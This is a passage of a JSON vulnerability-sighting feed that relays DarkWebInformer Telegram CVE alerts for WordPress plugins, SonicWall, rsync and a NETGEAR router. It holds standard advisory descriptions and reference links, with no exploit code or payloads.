back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-09T06:00:06.998Z\n\ud83d\udccf Modified: 2025-01-09T06:00:06.998Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e1456295-75ba-4dc2-9b1a-dc16a2000db2/", "creation_timestamp": "2025-01-09T06:19:53.000000Z"}, {"uuid": "ffc042a1-e535-4d06-9d8c-1df5e1d57451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/923", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12802\n\ud83d\udd39 Description: SSL-VPN MFA Bypass in SonicWALL SSL-VPN can arise in specific cases due to the separate handling of UPN (User Principal Name) and SAM (Security Account Manager) account names when integrated with Microsoft Active Directory, allowing MFA to be configured independently for each login method and potentially enabling attackers to bypass MFA by exploiting the alternative account name.\n\ud83d\udccf Published: 2025-01-09T09:08:26.012Z\n\ud83d\udccf Modified: 2025-01-09T09:08:26.012Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0001", "creation_timestamp": "2025-01-09T09:14:14.000000Z"}, {"uuid": "1ebf68ef-4380-41c9-a8cb-a1e963979242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/930", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12542\n\ud83d\udd39 Description: The linkID plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 0.1.2. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited.\n\ud83d\udccf Published: 2025-01-09T11:11:04.098Z\n\ud83d\udccf Modified: 2025-01-09T11:11:04.098Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b2fe5315-37b7-4009-b2e5-909e6b5ed1da?source=cve\n2. https://plugins.trac.wordpress.org/browser/linkid/trunk/lib/linkid/linkid-sdk-php/util/index.php#L1", "creation_timestamp": "2025-01-09T12:15:30.000000Z"}, {"uuid": "4d21fc6f-6d92-4e96-a898-61a8e7088b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12394", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/929", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12394\n\ud83d\udd39 Description: The Action Network plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.4. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:11:04.460Z\n\ud83d\udccf Modified: 2025-01-09T11:11:04.460Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c90dadc9-0109-4ebd-8135-3efd26682ad9?source=cve\n2. https://wordpress.org/plugins/wp-action-network/#developers", "creation_timestamp": "2025-01-09T12:15:20.000000Z"}, {"uuid": "5d021e18-1e86-4702-a7eb-747d56939be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/936", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12848\n\ud83d\udd39 Description: The SKT Page Builder plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the 'addLibraryByArchive' function in all versions up to, and including, 4.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.\n\ud83d\udccf Published: 2025-01-09T11:11:01.778Z\n\ud83d\udccf Modified: 2025-01-09T11:11:01.778Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/89e3cef3-c1aa-4df7-a9f9-1ca5837643e1?source=cve\n2. https://plugins.trac.wordpress.org/browser/skt-builder/trunk/sktbuilder.php#L960\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213786%40skt-builder&new=3213786%40skt-builder&sfp_email=&sfph_mail=\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218995%40skt-builder&new=3218995%40skt-builder&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-09T12:16:01.000000Z"}, {"uuid": "349cf761-a314-4f5b-9fe8-fb152be930e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12067", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/945", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12067\n\ud83d\udd39 Description: The WP Travel \u2013 Ultimate Travel Booking System, Tour Management Engine plugin for WordPress is vulnerable to SQL Injection via the 'booking_itinerary' parameter of the 'wptravel_get_booking_data' function in all versions up to, and including, 10.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-09T11:10:57.510Z\n\ud83d\udccf Modified: 2025-01-09T11:10:57.510Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4e0f38db-84bb-4ba9-9068-40937e78010d?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-travel/trunk/inc/helpers/helpers-stat.php#L14\n3. https://plugins.trac.wordpress.org/browser/wp-travel/trunk/inc/helpers/helpers-stat.php#L64\n4. https://plugins.trac.wordpress.org/browser/wp-travel/trunk/app/inc/admin/class-wptravel-admin-assets.php#L17\n5. https://plugins.trac.wordpress.org/browser/wp-travel/trunk/app/inc/admin/class-wptravel-admin-assets.php#L31", "creation_timestamp": "2025-01-09T12:16:31.000000Z"}, {"uuid": "43ae7891-3180-4abb-9d15-8944ed75528e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12605", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/944", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12605\n\ud83d\udd39 Description: The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.3. This is due to missing or incorrect nonce validation on the \"al_scribe_engine_request_data\" and \"al_scribe_content_data\" actions. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:57.897Z\n\ud83d\udccf Modified: 2025-01-09T11:10:57.897Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/52a8718f-2c4d-4da1-a81f-e93dff3fa43b?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-scribe-the-chatgpt-powered-seo-content-creation-wizard/trunk/article_builder.php#L713", "creation_timestamp": "2025-01-09T12:16:27.000000Z"}, {"uuid": "93390a94-2e17-4f03-97c1-8c3c8789526f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12218", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/942", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12218\n\ud83d\udd39 Description: The Woocommerce check pincode/zipcode for shipping plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.4. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:58.656Z\n\ud83d\udccf Modified: 2025-01-09T11:10:58.656Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5b79b5ae-7ce5-4065-8d7c-487df6752bc7?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-check-pincode-zipcode-for-shipping/trunk/classes/pincode-list.php#L93\n3. https://wordpress.org/plugins/woocommerce-check-pincode-zipcode-for-shipping/#developers", "creation_timestamp": "2025-01-09T12:16:21.000000Z"}, {"uuid": "382d69f5-865a-4744-bd96-4d52dcef4cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/961", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12805\n\ud83d\udd39 Description: A post-authentication format string vulnerability in SonicOS management allows a remote attacker to crash a firewall and potentially leads to code execution.\n\ud83d\udccf Published: 2025-01-09T07:24:12.357Z\n\ud83d\udccf Modified: 2025-01-09T14:54:52.273Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0004", "creation_timestamp": "2025-01-09T15:14:47.000000Z"}, {"uuid": "da9e47c4-ddc4-4837-b32d-b931e933d4f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/960", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12803\n\ud83d\udd39 Description: A post-authentication stack-based buffer overflow vulnerability in SonicOS management allows a remote attacker to crash a firewall and potentially leads to code execution.\n\ud83d\udccf Published: 2025-01-09T07:21:53.799Z\n\ud83d\udccf Modified: 2025-01-09T14:56:12.273Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0004", "creation_timestamp": "2025-01-09T15:14:45.000000Z"}, {"uuid": "02fe3733-c3e6-42c0-a9d7-e0ae15327200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1280", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12527\n\ud83d\udd39 Description: The Perfect Portal Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'perfect_portal_intake_form' shortcode in all versions up to, and including, 3.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T07:21:54.236Z\n\ud83d\udccf Modified: 2025-01-11T07:21:54.236Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bded6765-e994-46a4-8c88-c324a4fd6ee6?source=cve\n2. https://plugins.trac.wordpress.org/browser/perfect-portal-widgets/tags/3.0.3/perfect-portal-widgets.php#L330", "creation_timestamp": "2025-01-11T08:03:57.000000Z"}, {"uuid": "7cb84f11-c723-4294-8d20-07c4693b6992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3362", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12749\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Competition Form WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-29T06:31:50Z\n\ud83d\udccf Modified: 2025-01-29T06:31:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12749\n2. https://wpscan.com/vulnerability/478316b9-9f47-4aa6-92c6-03879f16a3e5", "creation_timestamp": "2025-01-29T07:10:48.000000Z"}, {"uuid": "823ceada-90b1-4b7f-833a-3d64d9d3f298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "Telegram/r7L7G8oKPBDz5OJDMt3y9E2VropIbAUYmbPTkFb7QutKGUhy", "content": "", "creation_timestamp": "2025-03-08T04:34:09.000000Z"}, {"uuid": "dfd6c110-5fb0-4a22-9a54-8531a1727322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1551", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12747\n\ud83d\udd39 Description: A flaw was found in rsync. This vulnerability arises from a race condition during rsync's handling of symbolic links. Rsync's default behavior when encountering symbolic links is to skip them. If an attacker replaced a regular file with a symbolic link at the right time, it was possible to bypass the default behavior and traverse symbolic links. Depending on the privileges of the rsync process, an attacker could leak sensitive information, potentially leading to privilege escalation.\n\ud83d\udccf Published: 2025-01-14T17:39:16.031Z\n\ud83d\udccf Modified: 2025-01-14T17:39:16.031Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12747\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2332968", "creation_timestamp": "2025-01-14T18:09:37.000000Z"}, {"uuid": "acf9bfec-dc45-4884-8943-894441dfca8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12606", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1115", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12606\n\ud83d\udd39 Description: The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the engine_request_data() function in all versions up to, and including, 2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update plugin settings.\n\ud83d\udccf Published: 2025-01-10T03:21:29.685Z\n\ud83d\udccf Modified: 2025-01-10T03:21:29.685Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4bc4a765-719e-4e99-b7f3-d255e4c019f5?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-scribe-the-chatgpt-powered-seo-content-creation-wizard/trunk/article_builder.php#L730", "creation_timestamp": "2025-01-10T04:15:15.000000Z"}, {"uuid": "758095c3-65b3-4e63-8d00-9c89aaac6d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12473", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1114", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12473\n\ud83d\udd39 Description: The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to SQL Injection via the 'template_id' parameter of the 'article_builder_generate_data' shortcode in all versions up to, and including, 2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-10T03:21:30.318Z\n\ud83d\udccf Modified: 2025-01-10T03:21:30.318Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/79125ac2-f3ed-40c9-a81b-340195fc8da5?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-scribe-the-chatgpt-powered-seo-content-creation-wizard/trunk/article_builder.php#L891", "creation_timestamp": "2025-01-10T04:15:11.000000Z"}, {"uuid": "48d64867-1d20-40e6-9f07-e6cf9bd74226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1265", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12304\n\ud83d\udd39 Description: The Gutenberg Blocks with AI by Kadence WP \u2013 Page Builder Features plugin for WordPress is vulnerable to Stored Cross-Site Scripting via button block link in all versions up to, and including, 3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T03:21:03.438Z\n\ud83d\udccf Modified: 2025-01-11T03:21:03.438Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c300c485-e5ab-48b3-99e8-0def5668ef4a?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3212269/kadence-blocks/tags/3.4.3/includes/blocks/class-kadence-blocks-singlebtn-block.php", "creation_timestamp": "2025-01-11T04:03:54.000000Z"}, {"uuid": "5e4e4b63-b21a-4cf4-a2dd-138bf310fd20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://t.me/DarkWebInformer_CVEAlerts/1216", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12847\n\ud83d\udd39 Description: NETGEAR DGN1000 before 1.1.00.48 is vulnerable to an authentication bypass vulnerability. A remote and unauthenticated attacker can execute arbitrary operating system commands as root by sending crafted HTTP requests to the setup.cgi endpoint. This vulnerability has been exploited in the wild since at least 2017.\n\ud83d\udccf Published: 2025-01-10T19:36:36.675Z\n\ud83d\udccf Modified: 2025-01-10T19:36:36.675Z\n\ud83d\udd17 References:\n1. https://seclists.org/bugtraq/2013/Jun/8\n2. https://www.exploit-db.com/exploits/25978\n3. https://www.exploit-db.com/exploits/43055\n4. https://vulncheck.com/advisories/netgear-dgn", "creation_timestamp": "2025-01-10T20:07:14.000000Z"}, {"uuid": "544d248a-68c5-431c-9401-a5e46c6a32fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1285", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12116\n\ud83d\udd39 Description: The Unlimited Theme Addon For Elementor and WooCommerce plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.1 via the 'uta-template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.\n\ud83d\udccf Published: 2025-01-11T07:21:52.245Z\n\ud83d\udccf Modified: 2025-01-11T07:21:52.245Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9dbdb6cc-2a00-4d34-9c11-62f3d1b51c73?source=cve\n2. https://wordpress.org/plugins/unlimited-theme-addons/", "creation_timestamp": "2025-01-11T08:04:10.000000Z"}, {"uuid": "d9fdf166-919e-43f6-9f63-c87bcd374cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1284", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12520\n\ud83d\udd39 Description: The Dominion \u2013 Domain Checker for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dominion_shortcodes_domain_search_6' shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T07:21:52.731Z\n\ud83d\udccf Modified: 2025-01-11T07:21:52.731Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a684f597-da72-4697-9e37-ca45a30ca64d?source=cve\n2. https://plugins.trac.wordpress.org/browser/dominion-domain-checker-wpbakery-addon/trunk/modules/domain_search/domain_search_6/doamin_search_shortcodes.php#L91\n3. https://wordpress.org/plugins/dominion-domain-checker-wpbakery-addon", "creation_timestamp": "2025-01-11T08:04:07.000000Z"}, {"uuid": "f520c57e-933b-4719-8470-aebe1dbdc36a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12412", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1283", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12412\n\ud83d\udd39 Description: The Rental and Booking Manager for Bike, Car, Dress, Resort with WooCommerce Integration \u2013 WpRently | WordPress plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018active_tab\u2019 parameter in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T07:21:53.135Z\n\ud83d\udccf Modified: 2025-01-11T07:21:53.135Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b0cde64f-2533-46e0-9268-b9d100fb0a82?source=cve\n2. https://plugins.trac.wordpress.org/browser/booking-and-rental-manager-for-woocommerce/trunk/templates/template_segment/resort_info.php", "creation_timestamp": "2025-01-11T08:04:05.000000Z"}, {"uuid": "4c26ca72-84a0-457c-a7b4-75b40571a0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12627", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1262", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12627\n\ud83d\udd39 Description: The Coupon X: Discount Pop Up, Promo Code Pop Ups, Announcement Pop Up, WooCommerce Popups plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.3.5 via deserialization of untrusted input from post content passed to the capture_email AJAX action. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n\ud83d\udccf Published: 2025-01-11T02:20:54.151Z\n\ud83d\udccf Modified: 2025-01-11T02:20:54.151Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/468be776-8804-4d2f-8eaf-841bbf598ef9?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3219466/coupon-x-discount-pop-up/trunk/inc/class-cx-rest.php", "creation_timestamp": "2025-01-11T03:04:16.000000Z"}, {"uuid": "bc0423a2-7fa9-4a06-b94a-db8dbcb1681a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12505", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1261", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12505\n\ud83d\udd39 Description: The Trackserver plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tsmap' shortcode in all versions up to, and including, 5.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T02:20:54.513Z\n\ud83d\udccf Modified: 2025-01-11T02:20:54.513Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/63ade911-f9e7-4b1c-87c8-78e7664feff7?source=cve\n2. https://plugins.trac.wordpress.org/browser/trackserver/trunk/class-trackserver-shortcode.php#L46\n3. https://plugins.trac.wordpress.org/browser/trackserver/trunk/class-trackserver-shortcode.php#L57\n4. https://plugins.trac.wordpress.org/browser/trackserver/trunk/class-trackserver-shortcode.php#L281\n5. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3219730%40trackserver&new=3219730%40trackserver&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-11T03:04:13.000000Z"}, {"uuid": "e0d01bd1-ea49-4a80-8bf0-0b2093984b4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12615", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1929", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12615\n\ud83d\udd39 Description: The Passwords Manager plugin for WordPress is vulnerable to SQL Injection via the $wpdb->prefix value in several AJAX actions in all versions up to, and including, 1.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-16T09:39:15.003Z\n\ud83d\udccf Modified: 2025-01-16T09:39:15.003Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ce8397d5-6637-4faa-be1f-9cf52c25be9b?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-passwords-ajax-action.php\n3. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/admin-page/addon/csv-export/index.php\n4. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-categories-ajax-action.php", "creation_timestamp": "2025-01-16T09:55:31.000000Z"}, {"uuid": "2b23b85c-8c88-4010-9f0a-0e0b6d7bf101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1264", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12404\n\ud83d\udd39 Description: The CF Internal Link Shortcode plugin for WordPress is vulnerable to SQL Injection via the 'post_title' parameter in all versions up to, and including, 1.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-11T02:20:53.175Z\n\ud83d\udccf Modified: 2025-01-11T02:20:53.175Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1661bb28-e5b4-4319-84bb-6cbeac266147?source=cve\n2. https://plugins.trac.wordpress.org/browser/internal-link-shortcode/trunk/internal-link-shortcode.php#L82", "creation_timestamp": "2025-01-11T03:04:20.000000Z"}, {"uuid": "d71cb0c2-3481-4137-95ea-d6a172dc74a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 